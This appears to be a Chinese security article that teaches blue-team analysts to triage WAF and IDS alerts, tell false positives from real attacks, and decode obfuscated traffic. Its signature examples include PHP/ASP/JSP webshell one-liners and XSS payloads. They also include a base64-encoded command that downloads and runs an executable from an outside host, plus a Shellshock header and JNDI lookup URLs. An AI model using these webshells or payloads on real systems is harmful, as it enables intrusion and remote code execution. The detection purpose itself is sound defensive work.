威胁事件告警分析技巧及处置(二)
声明:公众号大部分文章来自团队核心成员和知识星球成员,少部分文章经过原作者授权和其它公众号白名单转载。未经授权,严禁转载,如需转载,请联系开白!
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者及本公众号无关!!!
START
0x01前言
由于近几年信息安全人员紧缺,面临HW急需安全人员的竞赛中,许多安全厂商降低招聘要求,招收大量安全工作经验较少的人员参与HW当中,由于缺乏相应的工作经验,面对攻击团队的频繁入侵,导致误判、错封攻击源IP地址,进而对公司业务造成严重影响。小编对此对攻击流特征进行了一个详细的总结,本文适用于可查看攻击数据流量的设备,如:waf、ids、ips、天眼、睿眼以及其他全流量分析系统等。
0x02期望效果
看完本文后,您能学到:
>常见告警攻击特征识别
> 低危告警攻击事件忽略
> 研判告警攻击是否误报
> 复杂告警攻击Pcap取证
> 验证告警攻击是否成功
0x03webshell后门特征
webshell后门包含但不限于以下:
<%eval request("pass")%>
<%eval(Request.Item["pass"],"unsafe");%>
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
<?php @eval($_POST["pass"]);?>
e'.'v'.'a'.'l(gz'.'inf'.'lat'.'e(bas'.'e64_'.'deco'.'de('7P35d1zXdSeK/0yv5f/hqgyrAKsA3nkgBFp3lChxMkFqJB9eASiAJQIoGFXgIIp/jJPuFz13esWSNdiWZMWSbMnyIFmSZccr6U7c6XSn9dyvM3QmJ72+n88+9966twYQlO3kZX0bEoGqe8989tnz3qe3utIftPcGs3OLn/7Uemeju9OZbW7faK+v73X6/WZrZmU5Pfdweu6J5nJ87sTZ8yvZiZPp6fBU2rxUrdHZubq125YK/HOtt7defd2/3Nna2mlvd/C+/FzvcX9vCy/lL190N2bv2+wMVrbbm921lS/u9wad/srm7trs3NzNT3/qyEZvr9Neuzw7s3L2zPJ5rd3XZq5oS8e1matzmnr2xMyVS9qS1h/sdXf7W2302p/F28Va5fvTsbp4NL3qLRlYt9/vDFD7XPqFCyl6KiZ/ScZ2eXurt9ndmTVZ4b7O1fbWxKJ42bneHSyqJmdW4jNnHjqRPjFcyUvaXUva9rozWzxRM5fCMsFKUXkz+ZW2tKS
eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVq8qLc5IzUtXj9W0BgA=')));
/xxx.aspx;(1).jpg、test.asp;1.jpg
/xxx.jpg/xxx.php
/xxx.php [;][%00][%81].jpg
/xxx.cer
*.asa
xxx.php.owf.rar
0x04跨站脚本攻击特征
跨站脚本攻击包含但不限于以下:
</script>"><script>prompt(1)</script>
"><img src=x onerror=prompt(1)>
"><svg/onload=prompt(1)>
"><iframe/src=javascript:prompt(1)>
"><h1 onclick=prompt(1)>Clickme</h1>
"><a href=javascript:prompt(1)>Clickme</a>
"><textarea autofocus onfocus=prompt(1)>
<DEFANGED_SCRIPT>alert(document.domain)</DEFANGED_SCRIPT>
onload=window.open("http://www.google.com")
<script>alert("XSS")<%2Fscript>
'-alert(123)-
0x05漏洞扫描特征
扫描器扫描行为特征包含但不限于以下:
awvs
Acunetix-Aspect
by_wvs
/acunetix-wvs-test-for-some-inexistent-file
acunetix_wvs_security_test
netsparker
Appscan
nessus
sqlmap
nmap
masscan
0x06wireshark pcap包分析
wireshark pcap分析主要的就是熟悉基本的筛选,以及很重要的是追踪流,推荐是TCP流或UDP流,这些能进行切换,如果是HTTP流可能不方便看下面的几个数据流。
0x07请求行为分析
请求行为分析包含但不限于以下这些:
正常行为:
SQL注入如果只有where 1=1,其余字段无异常,或者有中文、真实字段,那么可能是误报。
跨站脚本攻击中,如只有js或者css代码,无明显攻击特征行为,那么可能是误报。
异常行为:
User-Agent
X-Forwarded-For
Accept-Charset:base 编码内容如:
(c3lzdGVtKCdjZXJ0dXRpbC5leGUgLXVybGNhY2hlIC1zcGxpdCAtZiBodHRwOi8vZmsub3BlbnlvdXJhc3MuY2x1Yi9kb3dubG9hZC5leGUgJVN5c3RlbVJvb3QlL1RlbXAvbWd3bHR1emx2eWxpcGJhOTkzNC5leGUgJiAlU3lzdGVtUm9vdCUvVGVtcC9tZ3dsdHV6bHZ5bGlwYmE5OTM0LmV4ZScpO2VjaG8gbWQ1KCdwaHBzdHVkeScpOw==)
异常外部URL:
rmi://fastjson_rcenlbODRGW.awvsscan119.autoverify.cn/poc,
ldap://xx.xx.xx.xx/
异常HTTP传输行为:
PUT /FxCodeShell.jsp/,
PUT /FxCodeShell.jsp::$DATA
异常HTTP header行为:
Range: bytes=0-18446744073709551615
Bad-Bash: () { :; }; echo echo Bad-Bash: tznupowcysf;
异常HTTP主体内容行为:
<soapenv:Envelope xmlns:soapenv=xxxxxxxxxxx 需结合业务系统情况进行分析,如果里面有cmd bash等命令执行特征则不是误报!
0x08攻击成功判断
对确认为真实攻击的行为需要进行研判,是否攻击成功,主要是通过以下方式但不限于进行:
- 基于流量payload信息判断攻击成功与否。例如web攻击,如果响应码为4XX,则多数可以判定为失败,但是为200的不一定就是成功,还需要结合响应主体进行判断。另外如果使用目录遍历读取/etc/passwd,且响应包里面有这些特征可判断为攻击成功.
- root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
- 基于攻击告警和行为审计日志判断攻击成功与否。例如产生了暴力破解告警,同时发现相关的登录成功告警,则攻击成功。
- 基于不同告警日志的关联判断攻击成功与否。例如产生了永恒之蓝漏洞利用的告警,同时发现漏洞利用成功的反连行为的告警,则说明永恒之蓝漏洞利用成功;或者产生了redis未授权写ssh密钥的行为,且后面有登录ssh的行为也基本可判断为攻击成功,但是具体与否还需要登录服务器进行查看,毕竟ssh也是加密传输的!
0x08常见编码
在监测过程中会遇到很多编码,对于特征不能一目了然,那么需要熟悉对应的编码或加密方式并进行转换和解码,常见编码包含但不限于以下这些:
URL:
%xx: %3Cscript%3Ealert%28123%29%3C/script%3E
解码网站:
http://tool.chinaz.com/tools/urlencode.aspx
实体化编码:
&#x:<scrip
&#:<scrip 、
<script>alert(123)</script>
base64:
=:MTIzNDU2Nw==
解码网站:
http://tool.chinaz.com/Tools/Base64.aspx
Unicode编码
u:u0031u0032u0033u0034u0035u0036
解码网站:
http://tool.chinaz.com/tools/unicode.aspx
END
- gradle中使用嵌入式(embedded) tomcat, debug 启动
- spring in action 4th --- quick start
- Date, TimeZone, MongoDB, java中date的时区问题
- spring boot 添加拦截器
- spring boot 部署为jar
- 重定向Http status code 303 和 302
- centos7查看系统版本,查看机器位数x86-64
- 在centos7中添加一个新用户,并授权
- 如何优化coding
- 在PowerShell中使用curl(Invoke-WebRequest)
- linux centos中添加删除修改环境变量,设置java环境变量
- CentOS7下安装mysql5.6修改字符集为utf8并开放端口允许远程访问
- CentOS7下mysql5.6修改默认编码
- 在idea中maven项目jdk编译version总是跳到1.5
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 硬核 | 使用spring cache让我的接口性能瞬间提升了100倍
- 11张图让你彻底明白jdk1.7 hashmap的死循环是如何产生的
- 基于qiankun落地部署微前端爬”坑“记
- springboot面试杀手锏-自动配置原理
- 树酱的前端知识体系构建(上)
- 这8种保证线程安全的技术你都知道吗?
- 并发编程中cas的这三大问题你知道吗?
- 再也不用怕面试问二叉树了
- Redux快速上手
- CSP
- Saltstack_使用指南07_远程执行-执行模块
- 学习从拥有一支好笔开始
- Saltstack_使用指南08_远程执行-返回程序
- 人生苦短,何不用vim装13
- Saltstack_使用指南09_远程执行-编写执行模块